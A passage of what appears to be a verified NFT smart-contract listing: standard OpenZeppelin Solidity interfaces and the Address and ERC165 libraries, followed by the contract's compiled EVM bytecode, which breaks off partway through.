{Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101d85760003560e01c80636817c76c11610102578063a22cb46511610095578063d44e357311610064578063d44e357314610663578063db2e21bc1461068c578063e985e9c5146106a3578063f2fde38b146106e0576101d8565b8063a22cb465146105ab578063b88d4fde146105d4578063c87b56dd146105fd578063cc23bb491461063a576101d8565b8063715018a6116100d1578063715018a6146105135780638da5cb5b1461052a57806395d89b4114610555578063996517cf14610580576101d8565b80636817c76c1461045557806368428a1b146104805780636c0360eb146104ab57806370a08231146104d6576101d8565b80633100a5351161017a5780633fd17366116101495780633fd173661461039d57806342842e0e146103c657806355f804b3146103ef5780636352211e14610418576101d8565b80633100a5351461032a5780633420f9b31461034157806334259b5c1461035d5780633ccfd60b14610386576101d8565b8063095ea7b3116101b6578063095ea7b31461028257806318160ddd146102ab57806319d1997a146102d657806323b872dd14610301576101d8565b806301ffc9a7146101dd57806306fdde031461021a578063081812fc14610245575b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190612f9b565b610709565b604051610211919061358e565b60405180910390f35b34801561022657600080fd5b5061022f6107eb565b60405161023c91906135a9565b60405180910390f35b34801561025157600080fd5b5061026c6004803603810190610267919061302e565b61087d565b6040516102799190613527565b60405180910390f35b34801561028e57600080fd5b506102a960048036038101906102a49190612f5f565b610902565b005b3480156102b757600080fd5b506102c0610a1a565b6040516102cd91906138ab565b60405180910390f35b3480156102e257600080fd5b506102eb610a20565b6040516102f891906138ab565b60405180910390f35b34801561030d57600080fd5b5061032860048036038101906103239190612e59565b610a26565b005b34801561033657600080fd5b5061033f610a86565b005b61035b6004803603810190610356919061302e565b610b74565b005b34801561036957600080fd5b50610384600480360381019061037f919061302e565b610c6b565b005b34801561039257600080fd5b5061039b610d28565b005b3480156103a957600080fd5b506103c460048036038101906103bf919061302e565b6112e2565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612e59565b61139f565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612fed565b6113bf565b005b34801561042457600080fd5b5061043f600480360381019061043a919061302e565b61148c565b60405161044c9190613527565b60405180910390f35b34801561046157600080fd5b5061046a61153e565b60405161047791906138ab565b60405180910390f35b34801561048c57600080fd5b50610495611544565b6040516104a2919061358e565b60405180910390f35b3480156104b757600080fd5b506104c0611557565b6040516104cd91906135a9565b60405180910390f35b3480156104e257600080fd5b506104fd60048036038101906104f89190612df4565b6115e5565b60405161050a91906138ab565b60405180910390f35b34801561051f57600080fd5b5061052861169d565b005b34801561053657600080fd5b5061053f611725565b60405161054c9190613527565b60405180910390f35b34801561056157600080fd5b5061056a61174e565b60405161057791906135a9565b60405180910390f35b34801561058c57600080fd5b506105956117e0565b6040516105a291906138ab565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190612f23565b6117e6565b005b3480156105e057600080fd5b506105fb60048036038101906105f69190612ea8565b611967565b005b34801561060957600080fd5b50610624600480360381019061061f919061302e565b6119c9565b60405161063191906135a9565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c919061302e565b611a71565b005b34801561066f57600080fd5b5061068a6004803603810190610685919061302e565b611b30565b005b34801561069857600080fd5b506106a1611c32565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612e1d565b611da7565b6040516106d7919061358e565b60405180910390f35b3480156106ec57600080fd5b5061070760048036038101906107029190612df4565b611e3b565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107d457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806107e457506107e382611f33565b5b9050919050565b6060600180546107fa90613b7b565b80601f016020809104026020016040519081016040528092919081815260200182805461082690613b7b565b80156108735780601f1061084857610100808354040283529160200191610873565b820191906000526020600020905b81548152906001019060200180831161085657829003601f168201915b5050505050905090565b600061088882611f9d565b6108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be9061378b565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061090d8261148c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561097e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109759061382b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661099d612009565b73ffffffffffffffffffffffffffffffffffffffff1614806109cc57506109cb816109c6612009565b611da7565b5b610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a029061370b565b60405180910390fd5b610a158383612011565b505050565b600c5481565b60095481565b610a37610a31612009565b826120ca565b610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d9061384b565b60405180910390fd5b610a818383836121a8565b505050565b610a8e612009565b73ffffffffffffffffffffffffffffffffffffffff16610aac611725565b73ffffffffffffffffffffffffffffffffffffffff1614610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906137ab565b60405180910390fd5b600a60009054906101000a900460ff1615600a60006101000a81548160ff0219169083151502179055507fe333f8a36ee86e754548af2d6f50c73ff0d501e22e6c784662123dbbe493c602600a60009054906101000a900460ff16604051610b6a919061358e565b60405180910390a1565b600a60009054906101000a900460ff16610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bba9061380b565b60405180910390fd5b600854811115610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff9061364b565b60405180910390fd5b610c1d8160075461240490919063ffffffff16565b341015610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c569061386b565b60405180910390fd5b610c688161241a565b50565b610c73612009565b73ffffffffffffffffffffffffffffffffffffffff16610c91611725565b73ffffffffffffffffffffffffffffffffffffffff1614610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde906137ab565b60405180910390fd5b806008819055507f9ae30a041b5f2244849dc754c675b09aef4ad230b48995476fd6e6415d1fe8ab81604051610d1d91906138ab565b60405180910390a150565b610d30612009565b73ffffffffffffffffffffffffffffffffffffffff16610d4e611725565b73ffffffffffffffffffffffffffffffffffffffff1614610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b906137ab565b60405180910390fd5b60004711610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde906136eb565b60405180910390fd5b600080610e126064610e04600d544761240490919063ffffffff16565b61252990919063ffffffff16565b90506000610e3e6064610e30600e544761240490919063ffffffff16565b61252990919063ffffffff16565b90506000610e6a6064610e5c600f544761240490919063ffffffff16565b61252990919063ffffffff16565b9050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683604051610eb290613512565b60006040518083038185875af1925050503d8060008114610eef576040519150601f19603f3d011682016040523d82523d6000602084013e610ef4565b606091505b505080945050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610f4090613512565b60006040518083038185875af1925050503d8060008114610f7d576040519150601f19603f3d011682016040523d82523d6000602084013e610f82565b606091505b505080945050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610fce90613512565b60006040518083038185875af1925050503d806000811461100b576040519150601f19603f3d011682016040523d82523d6000602084013e611010565b606091505b505080945050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161105c90613512565b60006040518083038185875af1925050503d8060008114611099576040519150601f19603f3d011682016040523d82523d6000602084013e61109e565b606091505b505080945050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516110ea90613512565b60006040518083038185875af1925050503d8060008114611127576040519150601f19603f3d011682016040523d82523d6000602084013e61112c565b606091505b505080945050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161117890613512565b60006040518083038185875af1925050503d80600081146111b5576040519150601f19603f3d011682016040523d82523d6000602084013e6111ba565b606091505b505080945050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161120690613512565b60006040518083038185875af1925050503d8060008114611243576040519150601f19603f3d011682016040523d82523d6000602084013e611248565b606091505b505080945050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161129490613512565b60006040518083038185875af1925050503d80600081146112d1576040519150601f19603f3d011682016040523d82523d6000602084013e6112d6565b606091505b50508094505050505050565b6112ea612009565b73ffffffffffffffffffffffffffffffffffffffff16611308611725565b73ffffffffffffffffffffffffffffffffffffffff161461135e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611355906137ab565b60405180910390fd5b806007819055507f25b1f9f6b6e61dfca5575239769e4450ed2e49176670837f5d1a82a9a2fc693f8160405161139491906138ab565b60405180910390a150565b6113ba83838360405180602001604052806000815250611967565b505050565b6113c7612009565b73ffffffffffffffffffffffffffffffffffffffff166113e5611725565b73ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611432906137ab565b60405180910390fd5b80600b9080519060200190611451929190612c18565b507f5411e8ebf1636d9e83d5fc4900bf80cbac82e8790da2a4c94db4895e889eedf68160405161148191906135a9565b60405180910390a150565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c9061374b565b60405180910390fd5b80915050919050565b60075481565b600a60009054906101000a900460ff1681565b600b805461156490613b7b565b80601f016020809104026020016040519081016040528092919081815260200182805461159090613b7b565b80156115dd5780601f106115b2576101008083540402835291602001916115dd565b820191906000526020600020905b8154815290600101906020018083116115c057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d9061372b565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116a5612009565b73ffffffffffffffffffffffffffffffffffffffff166116c3611725565b73ffffffffffffffffffffffffffffffffffffffff1614611719576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611710906137ab565b60405180910390fd5b611723600061253f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461175d90613b7b565b80601f016020809104026020016040519081016040528092919081815260200182805461178990613b7b565b80156117d65780601f106117ab576101008083540402835291602001916117d6565b820191906000526020600020905b8154815290600101906020018083116117b957829003601f168201915b5050505050905090565b60085481565b6117ee612009565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561185c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611853906136ab565b60405180910390fd5b8060066000611869612009565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611916612009565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161195b919061358e565b60405180910390a35050565b611978611972612009565b836120ca565b6119b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ae9061384b565b60405180910390fd5b6119c384848484612603565b50505050565b60606119d482611f9d565b611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a906137eb565b60405180910390fd5b6000600b8054611a2290613b7b565b905011611a3e5760405180602001604052806000815250611a6a565b600b611a498361265f565b604051602001611a5a9291906134ee565b6040516020818303038152906040525b9050919050565b611a79612009565b73ffffffffffffffffffffffffffffffffffffffff16611a97611725565b73ffffffffffffffffffffffffffffffffffffffff1614611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae4906137ab565b60405180910390fd5b611af68161241a565b7f9d85e718538d5b42eddf198587808af9a6e7e86abce7d4f159ff3294aa368cdc81604051611b2591906138ab565b60405180910390a150565b611b38612009565b73ffffffffffffffffffffffffffffffffffffffff16611b56611725565b73ffffffffffffffffffffffffffffffffffffffff1614611bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba3906137ab565b60405180910390fd5b600c54811015611bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be8906135cb565b60405180910390fd5b806009819055507f178f2d92de18f124251b08e25bacba56eda0716625c1e799fc6c8ed1ee7d1d0781604051611c2791906138ab565b60405180910390a150565b611c3a612009565b73ffffffffffffffffffffffffffffffffffffffff16611c58611725565b73ffffffffffffffffffffffffffffffffffffffff1614611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca5906137ab565b60405180910390fd5b60004711611cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce8906136eb565b60405180910390fd5b6000611cfb611725565b73ffffffffffffffffffffffffffffffffffffffff1647604051611d1e90613512565b60006040518083038185875af1925050503d8060008114611d5b576040519150601f19603f3d011682016040523d82523d6000602084013e611d60565b606091505b5050905080611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b9061388b565b60405180910390fd5b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611e43612009565b73ffffffffffffffffffffffffffffffffffffffff16611e61611725565b73ffffffffffffffffffffffffffffffffffffffff1614611eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eae906137ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1e9061360b565b60405180910390fd5b611f308161253f565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166120848361148c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006120d582611f9d565b612114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210b906136cb565b60405180910390fd5b600061211f8361148c565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061218e57508373ffffffffffffffffffffffffffffffffffffffff166121768461087d565b73ffffffffffffffffffffffffffffffffffffffff16145b8061219f575061219e8185611da7565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166121c88261148c565b73ffffffffffffffffffffffffffffffffffffffff161461221e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612215906137cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561228e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122859061368b565b60405180910390fd5b61229983838361280c565b6122a4600082612011565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122f49190613a91565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461234b91906139b0565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600081836124129190613a37565b905092915050565b60095461243282600c5461281190919063ffffffff16565b1115612473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246a9061366b565b60405180910390fd5b6000600c54905060005b828110156125245760018261249291906139b0565b91506124aa6001600c5461281190919063ffffffff16565b600c819055506124ba3383612827565b813373ffffffffffffffffffffffffffffffffffffffff167ffe50b82eeba2105881a3f6226ad65d6b795c6321c8786a273598829b94a76b806124fc856119c9565b60405161250991906135a9565b60405180910390a3808061251c90613bde565b91505061247d565b505050565b600081836125379190613a06565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61260e8484846121a8565b61261a84848484612845565b612659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612650906135eb565b60405180910390fd5b50505050565b606060008214156126a7576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612807565b600082905060005b600082146126d95780806126c290613bde565b915050600a826126d29190613a06565b91506126af565b60008167ffffffffffffffff81111561271b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561274d5781602001600182028036833780820191505090505b5090505b60008514612800576001826127669190613a91565b9150600a856127759190613c27565b603061278191906139b0565b60f81b8183815181106127bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856127f99190613a06565b9450612751565b8093505050505b919050565b505050565b6000818361281f91906139b0565b905092915050565b6128418282604051806020016040528060008152506129dc565b5050565b60006128668473ffffffffffffffffffffffffffffffffffffffff16612a37565b156129cf578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261288f612009565b8786866040518563ffffffff1660e01b81526004016128b19493929190613542565b602060405180830381600087803b1580156128cb57600080fd5b505af19250505080156128fc57506040513d601f19601f820116820180604052508101906128f99190612fc4565b60015b61297f573d806000811461292c576040519150601f19603f3d011682016040523d82523d6000602084013e612931565b606091505b50600081511415612977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296e906135eb565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506129d4565b600190505b949350505050565b6129e68383612a4a565b6129f36000848484612845565b612a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a29906135eb565b60405180910390fd5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab19061376b565b60405180910390fd5b612ac381611f9d565b15612b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afa9061362b565b60405180910390fd5b612b0f6000838361280c565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b5f91906139b0565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054612c2490613b7b565b90600052602060002090601f016020900481019282612c465760008555612c8d565b82601f10612c5f57805160ff1916838001178555612c8d565b82800160010185558215612c8d579182015b82811115612c8c578251825591602001919060010190612c71565b5b509050612c9a9190612c9e565b5090565b5b80821115612cb7576000816000905550600101612c9f565b5090565b6000612cce612cc9846138eb565b6138c6565b905082815260208101848484011115612ce657600080fd5b612cf1848285613b39565b509392505050565b6000612d0c612d078461391c565b6138c6565b905082815260208101848484011115612d2457600080fd5b612d2f848285613b39565b509392505050565b600081359050612d46816142eb565b92915050565b600081359050612d5b81614302565b92915050565b600081359050612d7081614319565b92915050565b600081519050612d8581614319565b92915050565b600082601f830112612d9c57600080fd5b8135612dac848260208601612cbb565b91505092915050565b600082601f830112612dc657600080fd5b8135612dd6848260208601612cf9565b91505092915050565b600081359050612dee81614330565b92915050565b600060208284031215612e0657600080fd5b6000612e1484828501612d37565b91505092915050565b60008060408385031215612e3057600080fd5b6000612e3e85828601612d37565b9250506020612e4f85828601612d37565b9150509250929050565b600080600060608486031215612e6e57600080fd5b6000612e7c86828701612d37565b9350506020612e8d86828701612d37565b9250506040612e9e86828701612ddf565b9150509250925092565b60008060008060808587031215612ebe57600080fd5b6000612ecc87828801612d37565b9450506020612edd87828801612d37565b9350506040612eee87828801612ddf565b925050606085013567ffffffffffffffff811115612f0b57600080fd5b612f1787828801612d8b565b91505092959194509250565b60008060408385031215612f3657600080fd5b6000612f4485828601612d37565b9250506020612f5585828601612d4c565b9150509250929050565b60008060408385031215612f7257600080fd5b6000612f8085828601612d37565b9250506020612f9185828601612ddf565b9150509250929050565b600060208284031215612fad57600080fd5b6000612fbb84828501612d61565b91505092915050565b600060208284031215612fd657600080fd5b6000612fe484828501612d76565b91505092915050565b600060208284031215612fff57600080fd5b600082013567ffffffffffffffff81111561301957600080fd5b61302584828501612db5565b91505092915050565b60006020828403121561304057600080fd5b600061304e84828501612ddf565b91505092915050565b61306081613ac5565b82525050565b61306f81613ad7565b82525050565b600061308082613962565b61308a8185613978565b935061309a818560208601613b48565b6130a381613d14565b840191505092915050565b60006130b98261396d565b6130c38185613994565b93506130d3818560208601613b48565b6130dc81613d14565b840191505092915050565b60006130f28261396d565b6130fc81856139a5565b935061310c818560208601613b48565b80840191505092915050565b6000815461312581613b7b565b61312f81866139a5565b9450600182166000811461314a576001811461315b5761318e565b60ff1983168652818601935061318e565b6131648561394d565b60005b8381101561318657815481890152600182019150602081019050613167565b838801955050505b50505092915050565b6000613